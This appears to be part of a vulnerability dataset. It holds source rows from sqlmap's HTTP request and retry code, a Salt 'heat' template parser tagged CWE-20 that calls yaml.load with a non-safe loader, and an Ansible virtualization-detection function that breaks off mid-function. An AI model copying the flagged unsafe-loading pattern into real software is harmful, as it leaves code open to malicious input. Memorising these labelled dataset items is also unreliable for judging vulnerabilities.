                pass

            elif target:
                if conf.forceSSL:
                    url = re.sub(r""(?i)\A(http|ws):"", r""\g<1>s:"", url)
                    url = re.sub(r""(?i):80/"", "":443/"", url)

                if PLACE.GET in conf.parameters and not get:
                    get = conf.parameters[PLACE.GET]

                    if not conf.skipUrlEncode:
                        get = urlencode(get, limit=True)

                if get:
                    if '?' in url:
                        url = ""%s%s%s"" % (url, DEFAULT_GET_POST_DELIMITER, get)
                        requestMsg += ""%s%s"" % (DEFAULT_GET_POST_DELIMITER, get)
                    else:
                        url = ""%s?%s"" % (url, get)
                        requestMsg += ""?%s"" % get

                if PLACE.POST in conf.parameters and not post and method != HTTPMETHOD.GET:
                    post = conf.parameters[PLACE.POST]

            elif get:
                url = ""%s?%s"" % (url, get)
                requestMsg += ""?%s"" % get

            requestMsg += "" %s"" % _http_client.HTTPConnection._http_vsn_str

            # Prepare HTTP headers
            headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: getHostHeader(url)}, base=None if target else {})

            if HTTP_HEADER.COOKIE in headers:
                cookie = headers[HTTP_HEADER.COOKIE]

            if kb.authHeader:
                headers[HTTP_HEADER.AUTHORIZATION] = kb.authHeader

            if kb.proxyAuthHeader:
                headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader

            if not conf.requestFile or not target:
                if not getHeader(headers, HTTP_HEADER.ACCEPT):
                    headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE

                if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING):
                    headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else ""identity""

            elif conf.requestFile and getHeader(headers, HTTP_HEADER.USER_AGENT) == DEFAULT_USER_AGENT:
                for header in headers:
                    if header.upper() == HTTP_HEADER.USER_AGENT.upper():
                        del headers[header]
                        break

            if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE):
                headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE if unArrayizeValue(conf.base64Parameter) != HTTPMETHOD.POST else PLAIN_TEXT_CONTENT_TYPE)

            if headers.get(HTTP_HEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[POST_HINT.MULTIPART]:
                warnMsg = ""missing 'boundary parameter' in '%s' header. "" % HTTP_HEADER.CONTENT_TYPE
                warnMsg += ""Will try to reconstruct""
                singleTimeWarnMessage(warnMsg)

                boundary = findMultipartPostBoundary(conf.data)
                if boundary:
                    headers[HTTP_HEADER.CONTENT_TYPE] = ""%s; boundary=%s"" % (headers[HTTP_HEADER.CONTENT_TYPE], boundary)

            if conf.keepAlive:
                headers[HTTP_HEADER.CONNECTION] = ""keep-alive""

            if chunked:
                headers[HTTP_HEADER.TRANSFER_ENCODING] = ""chunked""

            if auxHeaders:
                headers = forgeHeaders(auxHeaders, headers)

            if kb.headersFile:
                content = openFile(kb.headersFile, ""rb"").read()
                for line in content.split(""\n""):
                    line = getText(line.strip())
                    if ':' in line:
                        header, value = line.split(':', 1)
                        headers[header] = value

            if conf.localhost:
                headers[HTTP_HEADER.HOST] = ""localhost""

            for key, value in list(headers.items()):
                if key.upper() == HTTP_HEADER.ACCEPT_ENCODING.upper():
                    value = re.sub(r""(?i)(,)br(,)?"", lambda match: ',' if match.group(1) and match.group(2) else """", value) or ""identity""

                del headers[key]
                if isinstance(value, six.string_types):
                    for char in (r""\r"", r""\n""):
                        value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", value)
                    headers[getBytes(key) if six.PY2 else key] = getBytes(value.strip(""\r\n""))  # Note: Python3 has_header() expects non-bytes value

            if six.PY2:
                url = getBytes(url)  # Note: Python3 requires text while Python2 has problems when mixing text with binary POST

            if webSocket:
                ws = websocket.WebSocket()
                ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout)
                ws.connect(url, header=(""%s: %s"" % _ for _ in headers.items() if _[0] not in (""Host"",)), cookie=cookie)  # WebSocket will add Host field of headers automatically
                ws.send(urldecode(post or """"))

                _page = []

                if kb.webSocketRecvCount is None:
                    while True:
                        try:
                            _page.append(ws.recv())
                        except websocket.WebSocketTimeoutException:
                            kb.webSocketRecvCount = len(_page)
                            break
                else:
                    for i in xrange(max(1, kb.webSocketRecvCount)):
                        _page.append(ws.recv())

                page = ""\n"".join(_page)

                ws.close()
                code = ws.status
                status = _http_client.responses[code]

                class _(dict):
                    pass

                responseHeaders = _(ws.getheaders())
                responseHeaders.headers = [""%s: %s\r\n"" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()]

                requestHeaders += ""\r\n"".join([""%s: %s"" % (u""-"".join(_.capitalize() for _ in getUnicode(key).split(u'-')) if hasattr(key, ""capitalize"") else getUnicode(key), getUnicode(value)) for (key, value) in responseHeaders.items()])
                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                requestMsg += ""\r\n""

                threadData.lastRequestMsg = requestMsg

                logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
            else:
                post = getBytes(post)

                if unArrayizeValue(conf.base64Parameter) == HTTPMETHOD.POST:
                    if kb.place != HTTPMETHOD.POST:
                        conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                    else:
                        post = urldecode(post, convall=True)
                        post = encodeBase64(post)

                if target and cmdLineOptions.method or method and method not in (HTTPMETHOD.GET, HTTPMETHOD.POST):
                    req = MethodRequest(url, post, headers)
                    req.set_method(cmdLineOptions.method or method)
                elif url is not None:
                    req = _urllib.request.Request(url, post, headers)
                else:
                    return None, None, None

                for function in kb.preprocessFunctions:
                    try:
                        function(req)
                    except Exception as ex:
                        errMsg = ""error occurred while running preprocess ""
                        errMsg += ""function '%s' ('%s')"" % (function.__name__, getSafeExString(ex))
                        raise SqlmapGenericException(errMsg)
                    else:
                        post, headers = req.data, req.headers

                requestHeaders += ""\r\n"".join([""%s: %s"" % (u""-"".join(_.capitalize() for _ in getUnicode(key).split(u'-')) if hasattr(key, ""capitalize"") else getUnicode(key), getUnicode(value)) for (key, value) in req.header_items()])

                if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
                    conf.cj._policy._now = conf.cj._now = int(time.time())
                    with conf.cj._cookies_lock:
                        cookies = conf.cj._cookies_for_request(req)
                    requestHeaders += ""\r\n%s"" % (""Cookie: %s"" % "";"".join(""%s=%s"" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies))

                if post is not None:
                    if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH) and not chunked:
                        requestHeaders += ""\r\n%s: %d"" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post))

                if not getRequestHeader(req, HTTP_HEADER.CONNECTION):
                    requestHeaders += ""\r\n%s: %s"" % (HTTP_HEADER.CONNECTION, ""close"" if not conf.keepAlive else ""keep-alive"")

                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                if not chunked:
                    requestMsg += ""\r\n""

                if not multipart:
                    threadData.lastRequestMsg = requestMsg

                    logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)

                if conf.cj:
                    for cookie in conf.cj:
                        if cookie.value is None:
                            cookie.value = """"
                        else:
                            for char in (r""\r"", r""\n""):
                                cookie.value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", cookie.value)

                conn = _urllib.request.urlopen(req)

                if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or """").lower() == AUTH_TYPE.BASIC.lower():
                    kb.authHeader = getUnicode(getRequestHeader(req, HTTP_HEADER.AUTHORIZATION))

                if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION):
                    kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION)

                # Return response object
                if response:
                    return conn, None, None

                # Get HTTP response
                if hasattr(conn, ""redurl""):
                    page = (threadData.lastRedirectMsg[1] if kb.choices.redirect == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None
                    skipLogTraffic = kb.choices.redirect == REDIRECTION.NO
                    code = conn.redcode if not finalCode else code
                else:
                    page = Connect._connReadProxy(conn) if not skipRead else None

                if conn:
                    code = (code or conn.code) if conn.code == kb.originalCode else conn.code  # do not override redirection code (for comparison purposes)
                    responseHeaders = conn.info()
                    responseHeaders[URI_HTTP_HEADER] = conn.geturl() if hasattr(conn, ""geturl"") else url

                    if hasattr(conn, ""redurl""):
                        responseHeaders[HTTP_HEADER.LOCATION] = conn.redurl

                    responseHeaders = patchHeaders(responseHeaders)
                    kb.serverHeader = responseHeaders.get(HTTP_HEADER.SERVER, kb.serverHeader)
                else:
                    code = None
                    responseHeaders = {}

                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
                status = getUnicode(conn.msg) if conn and getattr(conn, ""msg"", None) else None

            kb.connErrorCounter = 0

            if not refreshing:
                refresh = responseHeaders.get(HTTP_HEADER.REFRESH, """").split(""url="")[-1].strip()

                if extractRegexResult(META_REFRESH_REGEX, page):
                    refresh = extractRegexResult(META_REFRESH_REGEX, page)

                    debugMsg = ""got HTML meta refresh header""
                    logger.debug(debugMsg)

                if not refresh:
                    refresh = extractRegexResult(JAVASCRIPT_HREF_REGEX, page)

                    if refresh:
                        debugMsg = ""got Javascript redirect logic""
                        logger.debug(debugMsg)

                if refresh:
                    if kb.alwaysRefresh is None:
                        msg = ""got a refresh intent ""
                        msg += ""(redirect like response common to login pages) to '%s'. "" % refresh
                        msg += ""Do you want to apply it from now on? [Y/n]""

                        kb.alwaysRefresh = readInput(msg, default='Y', boolean=True)

                    if kb.alwaysRefresh:
                        if re.search(r""\Ahttps?://"", refresh, re.I):
                            url = refresh
                        else:
                            url = _urllib.parse.urljoin(url, refresh)

                        threadData.lastRedirectMsg = (threadData.lastRequestUID, page)
                        kwargs[""refreshing""] = True
                        kwargs[""url""] = url
                        kwargs[""get""] = None
                        kwargs[""post""] = None

                        try:
                            return Connect._getPageProxy(**kwargs)
                        except SqlmapSyntaxException:
                            pass

            # Explicit closing of connection object
            if conn and not conf.keepAlive:
                try:
                    if hasattr(conn.fp, '_sock'):
                        conn.fp._sock.close()
                    conn.close()
                except Exception as ex:
                    warnMsg = ""problem occurred during connection closing ('%s')"" % getSafeExString(ex)
                    logger.warning(warnMsg)

        except SqlmapConnectionException as ex:
            if conf.proxyList and not kb.threadException:
                warnMsg = ""unable to connect to the target URL ('%s')"" % getSafeExString(ex)
                logger.critical(warnMsg)
                threadData.retriesCount = conf.retries
                return Connect._retryProxy(**kwargs)
            else:
                raise

        except _urllib.error.HTTPError as ex:
            page = None
            responseHeaders = None

            if checking:
                return None, None, None

            try:
                page = ex.read() if not skipRead else None
                responseHeaders = ex.info()
                responseHeaders[URI_HTTP_HEADER] = ex.geturl()
                responseHeaders = patchHeaders(responseHeaders)
                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
            except socket.timeout:
                warnMsg = ""connection timed out while trying ""
                warnMsg += ""to get error page information (%d)"" % ex.code
                logger.warning(warnMsg)
                return None, None, None
            except KeyboardInterrupt:
                raise
            except:
                pass
            finally:
                page = getUnicode(page)

            code = ex.code
            status = getUnicode(getattr(ex, ""reason"", None) or getSafeExString(ex).split("": "", 1)[-1])

            kb.originalCode = kb.originalCode or code
            threadData.lastHTTPError = (threadData.lastRequestUID, code, status)
            kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1

            responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders and getattr(responseHeaders, ""headers"", None):
                logHeaders = """".join(getUnicode(responseHeaders.headers)).strip()

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE]), start, time.time())

            skipLogTraffic = True

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

            if code in conf.abortCode:
                errMsg = ""aborting due to detected HTTP code '%d'"" % code
                singleTimeLogMessage(errMsg, logging.CRITICAL)
                raise SystemExit

            if ex.code not in (conf.ignoreCode or []):
                if ex.code == _http_client.UNAUTHORIZED:
                    errMsg = ""not authorized, try to provide right HTTP ""
                    errMsg += ""authentication type and valid credentials (%d). "" % code
                    errMsg += ""If this is intended, try to rerun by providing ""
                    errMsg += ""a valid value for option '--ignore-code'""
                    raise SqlmapConnectionException(errMsg)
                elif chunked and ex.code in (_http_client.METHOD_NOT_ALLOWED, _http_client.LENGTH_REQUIRED):
                    warnMsg = ""turning off HTTP chunked transfer encoding ""
                    warnMsg += ""as it seems that the target site doesn't support it (%d)"" % code
                    singleTimeWarnMessage(warnMsg)
                    conf.chunked = kwargs[""chunked""] = False
                    return Connect.getPage(**kwargs)
                elif ex.code == _http_client.REQUEST_URI_TOO_LONG:
                    warnMsg = ""request URI is marked as too long by the target. ""
                    warnMsg += ""you are advised to try a switch '--no-cast' and/or '--no-escape'""
                    singleTimeWarnMessage(warnMsg)
                elif ex.code == _http_client.NOT_FOUND:
                    if raise404:
                        errMsg = ""page not found (%d)"" % code
                        raise SqlmapConnectionException(errMsg)
                    else:
                        debugMsg = ""page not found (%d)"" % code
                        singleTimeLogMessage(debugMsg, logging.DEBUG)
                elif ex.code == _http_client.GATEWAY_TIMEOUT:
                    if ignoreTimeout:
                        return None if not conf.ignoreTimeouts else """", None, None
                    else:
                        warnMsg = ""unable to connect to the target URL (%d - %s)"" % (ex.code, _http_client.responses[ex.code])
                        if threadData.retriesCount < conf.retries and not kb.threadException:
                            warnMsg += "". sqlmap is going to retry the request""
                            logger.critical(warnMsg)
                            return Connect._retryProxy(**kwargs)
                        elif kb.testMode:
                            logger.critical(warnMsg)
                            return None, None, None
                        else:
                            raise SqlmapConnectionException(warnMsg)
                else:
                    debugMsg = ""got HTTP error code: %d ('%s')"" % (code, status)
                    logger.debug(debugMsg)

        except (_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError, AttributeError, OSError, AssertionError, KeyError):
            tbMsg = traceback.format_exc()

            if conf.debug:
                dataToStdout(tbMsg)

            if checking:
                return None, None, None
            elif ""KeyError:"" in tbMsg:
                if ""content-length"" in tbMsg:
                    return None, None, None
                else:
                    raise
            elif ""AttributeError:"" in tbMsg:
                if ""WSAECONNREFUSED"" in tbMsg:
                    return None, None, None
                else:
                    raise
            elif ""no host given"" in tbMsg:
                warnMsg = ""invalid URL address used (%s)"" % repr(url)
                raise SqlmapSyntaxException(warnMsg)
            elif any(_ in tbMsg for _ in (""forcibly closed"", ""Connection is already closed"", ""ConnectionAbortedError"")):
                warnMsg = ""connection was forcibly closed by the target URL""
            elif ""timed out"" in tbMsg:
                if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection timed out to the target URL""
            elif ""Connection reset"" in tbMsg:
                if not conf.disablePrecon:
                    singleTimeWarnMessage(""turning off pre-connect mechanism because of connection reset(s)"")
                    conf.disablePrecon = True

                if kb.testMode:
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is resetting 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection reset to the target URL""
            elif ""URLError"" in tbMsg or ""error"" in tbMsg:
                warnMsg = ""unable to connect to the target URL""
                match = re.search(r""Errno \d+\] ([^>\n]+)"", tbMsg)
                if match:
                    warnMsg += "" ('%s')"" % match.group(1).strip()
            elif ""NTLM"" in tbMsg:
                warnMsg = ""there has been a problem with NTLM authentication""
            elif ""Invalid header name"" in tbMsg:  # (e.g. PostgreSQL ::Text payload)
                return None, None, None
            elif ""BadStatusLine"" in tbMsg:
                warnMsg = ""connection dropped or unknown HTTP ""
                warnMsg += ""status code received""
                if not conf.agent and not conf.randomAgent:
                    warnMsg += "". Try to force the HTTP User-Agent ""
                    warnMsg += ""header with option '--user-agent' or switch '--random-agent'""
            elif ""IncompleteRead"" in tbMsg:
                warnMsg = ""there was an incomplete read error while retrieving data ""
                warnMsg += ""from the target URL""
            elif ""Handshake status"" in tbMsg:
                status = re.search(r""Handshake status ([\d]{3})"", tbMsg)
                errMsg = ""websocket handshake status %s"" % status.group(1) if status else ""unknown""
                raise SqlmapConnectionException(errMsg)
            elif ""SqlmapCompressionException"" in tbMsg:
                warnMsg = ""problems with response (de)compression""
                retrying = True
            else:
                warnMsg = ""unable to connect to the target URL""

            if ""BadStatusLine"" not in tbMsg and any((conf.proxy, conf.tor)):
                warnMsg += "" or proxy""

            if silent:
                return None, None, None

            with kb.locks.connError:
                kb.connErrorCounter += 1

                if kb.connErrorCounter >= MAX_CONSECUTIVE_CONNECTION_ERRORS and kb.choices.connError is None:
                    message = ""there seems to be a continuous problem with connection to the target. ""
                    message += ""Are you sure that you want to continue? [y/N] ""

                    kb.choices.connError = readInput(message, default='N', boolean=True)

                if kb.choices.connError is False:
                    raise SqlmapSkipTargetException

            if ""forcibly closed"" in tbMsg:
                logger.critical(warnMsg)
                return None, None, None
            elif ignoreTimeout and any(_ in tbMsg for _ in (""timed out"", ""IncompleteRead"", ""Interrupted system call"")):
                return None if not conf.ignoreTimeouts else """", None, None
            elif threadData.retriesCount < conf.retries and not kb.threadException:
                warnMsg += "". sqlmap is going to retry the request""
                if not retrying:
                    warnMsg += ""(s)""
                    logger.critical(warnMsg)
                else:
                    logger.debug(warnMsg)
                return Connect._retryProxy(**kwargs)
            elif kb.testMode or kb.multiThreadMode:
                logger.critical(warnMsg)
                return None, None, None
            else:
                raise SqlmapConnectionException(warnMsg)

        finally:
            if isinstance(page, six.binary_type):
                if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(TEXT_CONTENT_TYPE_REGEX, responseHeaders[HTTP_HEADER.CONTENT_TYPE]):
                    page = six.text_type(page, errors=""ignore"")
                else:
                    page = getUnicode(page)

            for function in kb.postprocessFunctions:
                try:
                    page, responseHeaders, code = function(page, responseHeaders, code)
                except Exception as ex:
                    errMsg = ""error occurred while running postprocess ""
                    errMsg += ""function '%s' ('%s')"" % (function.__name__, getSafeExString(ex))
                    raise SqlmapGenericException(errMsg)

            for _ in (getattr(conn, ""redcode"", None), code):
                if _ is not None and _ in conf.abortCode:
                    errMsg = ""aborting due to detected HTTP code '%d'"" % _
                    singleTimeLogMessage(errMsg, logging.CRITICAL)
                    raise SystemExit

            threadData.lastPage = page
            threadData.lastCode = code

            socket.setdefaulttimeout(conf.timeout)

        # Dirty patch for Python3.11.0a7 (e.g. https://github.com/sqlmapproject/sqlmap/issues/5091)
        if not sys.version.startswith(""3.11.""):
            if conf.retryOn and re.search(conf.retryOn, page, re.I):
                if threadData.retriesCount < conf.retries:
                    warnMsg = ""forced retry of the request because of undesired page content""
                    logger.warning(warnMsg)
                    return Connect._retryProxy(**kwargs)

        processResponse(page, responseHeaders, code, status)

        if not skipLogTraffic:
            if conn and getattr(conn, ""redurl"", None):
                _ = _urllib.parse.urlsplit(conn.redurl)
                _ = (""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """"))
                requestMsg = re.sub(r""(\n[A-Z]+ ).+?( HTTP/\d)"", r""\g<1>%s\g<2>"" % getUnicode(_).replace(""\\"", ""\\\\""), requestMsg, 1)

                if kb.resendPostOnRedirect is False:
                    requestMsg = re.sub(r""(\[#\d+\]:\n)POST "", r""\g<1>GET "", requestMsg)
                    requestMsg = re.sub(r""(?i)Content-length: \d+\n"", """", requestMsg)
                    requestMsg = re.sub(r""(?s)\n\n.+"", ""\n"", requestMsg)

                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, conn.code, status)
            elif ""\n"" not in responseMsg:
                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders:
                logHeaders = """".join(getUnicode(responseHeaders.headers)).strip()

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE]), start, time.time())

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

        return page, responseHeaders, code"
,UNKNOWN,UNKNOWN,salt/modules/heat.py,1,"def _parse_template(tmpl_str):
    '''
    Parsing template
    '''
    tmpl_str = tmpl_str.strip()
    if tmpl_str.startswith('{'):
        tpl = json.loads(tmpl_str)
    else:
        try:
            tpl = yaml.load(tmpl_str, Loader=YamlLoader)
        except yaml.YAMLError:
            try:
                tpl = yaml.load(tmpl_str, Loader=yaml.SafeLoader)
            except yaml.YAMLError as yea:
                raise ValueError(yea)
        else:
            if tpl is None:
                tpl = {}
    if not ('HeatTemplateFormatVersion' in tpl
            or 'heat_template_version' in tpl
            or 'AWSTemplateFormatVersion' in tpl):
        raise ValueError(('Template format version not found.'))
    return tpl",CWE-20,saltstack/salt,5b15ec5b32686305ac2897fe50b17fec9fda8bb4,"def _parse_template(tmpl_str):
    '''
    Parsing template
    '''
    tmpl_str = tmpl_str.strip()
    if tmpl_str.startswith('{'):
        tpl = json.loads(tmpl_str)
    else:
        try:
            tpl = yaml.load(tmpl_str, Loader=YamlLoader)
        except yaml.YAMLError:
            try:
                tpl = yaml.load(tmpl_str, Loader=yaml.SafeLoader)
            except yaml.YAMLError as yea:
                raise ValueError(yea)
        else:
            if tpl is None:
                tpl = {}
    if not ('HeatTemplateFormatVersion' in tpl
            or 'heat_template_version' in tpl
            or 'AWSTemplateFormatVersion' in tpl):
        raise ValueError(('Template format version not found.'))
    return tpl"
,UNKNOWN,UNKNOWN,lib/ansible/module_utils/facts/virtual/linux.py,1,"def get_virtual_facts(self):
        virtual_facts = {}
        # lxc/docker
        if os.path.exists('/proc/1/cgroup'):
            for line in get_file_lines('/proc/1/cgroup'):
                if re.search(r'/docker(/|-[0-9a-f]+\.scope)', line):
                    virtual_facts['virtualization_type'] = 'docker'
                    virtual_facts['virtualization_role'] = 'guest'
                    return virtual_facts
                if re.search('/lxc/', line) or re.search('/machine.slice/machine-lxc', line):
                    virtual_facts['virtualization_type'] = 'lxc'
                    virtual_facts['virtualization_role'] = 'guest'
                    return virtual_facts

        # lxc does not always appear in cgroups anymore but sets 'container=lxc' environment var, requires root privs
        if os.path.exists('/proc/1/environ'):
            for line in get_file_lines('/proc/1/environ'):
                if re.search('container=lxc', line):
                    virtual_facts['virtualization_type'] = 'lxc'
                    virtual_facts['virtualization_role'] = 'guest'
                    return virtual_facts

        if os.path.exists('/proc/vz') and not os.path.exists('/proc/lve'):
            virtual_facts['virtualization_type'] = 'openvz'
            if os.path.exists('/proc/bc'):
                virtual_facts['virtualization_role'] = 'host'
            else:
                virtual_facts['virtualization_role'] = 'guest'
            return virtual_facts

        systemd_container = get_file_content('/run/systemd/container')
        if systemd_container:
            virtual_facts['virtualization_type'] = systemd_container
            virtual_facts['virtualization_role'] = 'guest'
            return virtual_facts

        if os.path.exists(""/proc/xen""):
            virtual_facts['virtualization_type'] = 'xen'
            virtual_facts['virtualization_role'] = 'guest'
            try:
                for line in get_file_lines('/proc/xen/capabilities'):
                    if ""control_d"" in line:
                        virtual_facts['virtualization_role'] = 'host'
            except IOError:
                pass
            return virtual_facts

        product_name = get_file_content('/sys/devices/virtual/dmi/id/product_name')

        if product_name in ['KVM', 'Bochs']:
            virtual_facts['virtualization_type'] = 'kvm'
            virtual_facts['virtualization_role'] = 'guest'
            return virtual_facts

        if product_name == 'RHEV Hypervisor':
            virtual_facts['virtualization_type'] = 'RHEV'
            virtual_facts['virtualization_role'] = 'guest'
            return virtual_facts

        if product_name in ['VMware Virtual Platform', 'VMware7,1']:
            virtual_facts['virtualization_type'] = 'VMware'
            virtual_facts['virtualization_role'] = 'guest'
            return virtual_facts

        if product_name in ['OpenStack Compute', 'OpenStack Nova']:
            virtual_facts['virtualization_type'] = 'openstack'
            virtual_facts['virtualization_role'] = 'guest'
            return virtual_facts

        bios_vendor = get_file_content('/sys/devices/virtual/dmi/id/bios_vendor')

        if bios_vendor == 'Xen':
            virtual_facts['virtualization_type'] = 'xen'
            virtual_facts['virtualization_role'] = 'guest'
            return virtual_facts

        if bios_vendor == 'innotek GmbH':
            virtual_facts['virtualization_type'] = 'virtualbox'
            virtual_facts['virtualization_role'] = 'guest'
            return virtual_facts

        if bios_vendor == 'Amazon EC2':
            virtual_facts['virtualization_type'] = 'kvm'
            virtual_facts['virtualization_role'] = 'guest'
            return virtual_facts

        sys_vendor = get_file_content('/sys/devices/virtual/dmi/id/sys_vendor')

        # FIXME: This does also match hyperv
        if sys_vendor == 'Microsoft Corporation':
            virtual_facts['virtualization_type'] = 'VirtualPC'
            virtual_facts['virtualization_role'] = 'guest'
            return virtual_facts

        if sys_vendor == 'Parallels Software International Inc.':
            virtual_facts['virtualization_type'] = 'parallels'
            virtual_facts['virtualization_role'] = 'guest'
            return virtual_facts

        if sys_vendor == 'QEMU':
            virtual_facts['virtualization_type'] = 'kvm'
            virtual_facts['virtualization_role'] = 'guest'
            return virtual_facts

        if sys_vendor == 'oVirt':
            virtual_facts['virtualization_type'] = 'kvm'
            virtual_facts['virtualization_role'] = 'guest'
            return virtual_facts

        if sys_vendor == 'OpenStack Foundation':
            virtual_facts['virtualization_type'] = 'openstack'
            virtual_facts['virtualization_role'] = 'guest'
            return virtual_facts

        if sys_vendor == 'Amazon EC2':
            virtual_facts['virtualization_type'] = 'kvm'
            virtual_facts['virtualization_role'] = 'guest'
            return virtual_facts

        if os.path.exists('/proc/self/status'):
            for line in get_file_lines('/proc/self/status'):
                if re.match(r'^VxID: \d+', line):
                    virtual_facts['virtualization_type'] = 'linux_vserver'
                    if re.match(r'^VxID: 0', line):
                        virtual_facts['virtualization_role'] = 'host'
                    else:
                        virtual_facts['virtualization_role'] = 'guest'
                    return virtual_facts

        if os.path.exists('/proc/cpuinfo'):
            for line in get_file_lines('/proc/cpuinfo'):
                if re.match('^model name.*QEMU Virtual CPU', line):
                    virtual_facts['virtualization_type'] = 'kvm'
                elif re.match('^vendor_id.*User Mode Linux', line):
                    virtual_facts['virtualization_type'] = 'uml'
                elif re.match('^model name.*UML', line):
                    virtual_facts['virtualization_type'] = 'uml'
                elif re.match('^machine.*CHRP IBM pSeries .emulated by qemu.', line):
                    virtual_facts['virtualization_type'] = 'kvm'
                elif re.match('^vendor_id.*PowerVM Lx86', line):
                    virtual_facts['virtualization_type'] = 'powervm_lx86'
                elif re.match('^vendor_id.*IBM/S390', line):
                    virtual_facts['virtualization_type'] = 'PR/SM'
                    lscpu = self.module.get_bin_path('lscpu')
                    if lscpu:
                        rc, out, err = self.module.run_command([""lscpu""])
                        if rc == 0:
                            for line in out.splitlines():
                                data = line.split("":"", 1)
                                key = data[0].strip()
                                if key == 'Hypervisor':
                                    virtual_facts['virtualization_type'] = data[1].strip()
                    else:
                        virtual_facts['virtualization_type'] = 'ibm_systemz'
                else:
                    continue
                if virtual_facts['virtualization_type'] == 'PR/SM':
                    virtual_facts['virtualization_role'] = 'LPAR'
                else:
                    virtual_facts['virtualization_role'] = 'guest'
                return virtual_facts

        # Beware that we can have both kvm and virtualbox running on a single system
        if os.path.exists(""/proc/modules"") and os.access('/proc/modules', os.R_OK):
            modules = []
            for line in get_file_lines(""/proc/modules""):
                data = line.split("" "", 1)
                modules.append(data[0])

            if 'kvm' in modules:

                if os.path.isdir('/rhev/'):

                    # Check whether this is a RHEV hypervisor (is vdsm running ?)
                    for f in glob.glob('/proc/[0-9]*/comm'):
                        try:
                            if open(f).read().rstrip() == 'vdsm':
                                virtual_facts['virtualization_type'] = 'RHEV'
                                break
                        except:
                            pass
                    else:
                        virtual_facts['virtualization_type'] = 'kvm'

                else:
                    virtual_facts['virtualization_type'] = 'kvm'
                    virtual_facts['virtualization_role'] = 'host'

                return virtual_facts

            if 'vboxdrv' in modules:
                virtual_facts['virtualization_type'] = 'virtualbox'
                virtual_facts['virtualization_role'] = 'host'
                return virtual_facts

            if 'virtio' in modules:
                virtual_facts['virtualization_type'] = 'kvm'
                virtual_facts['virtualization_role'] = 'guest'
                return virtual_facts

        # In older Linux Kernel versions, /sys filesystem is not available
        # dmidecode is the safest option to parse virtualization related values
        dmi_bin = self.module.get_bin_path('dmidecode')
        (rc, out, err) = self.module.run_command('%s -s system-product-name' % dmi_bin)
        if rc == 0:
            # Strip out commented lines (specific dmidecode output)
            vendor_name = ''.join([line.strip() for line in out.splitlines() if not line.startswith('#')])
            if vendor_name in ['VMware Virtual Platform', 'VMware7,1']:
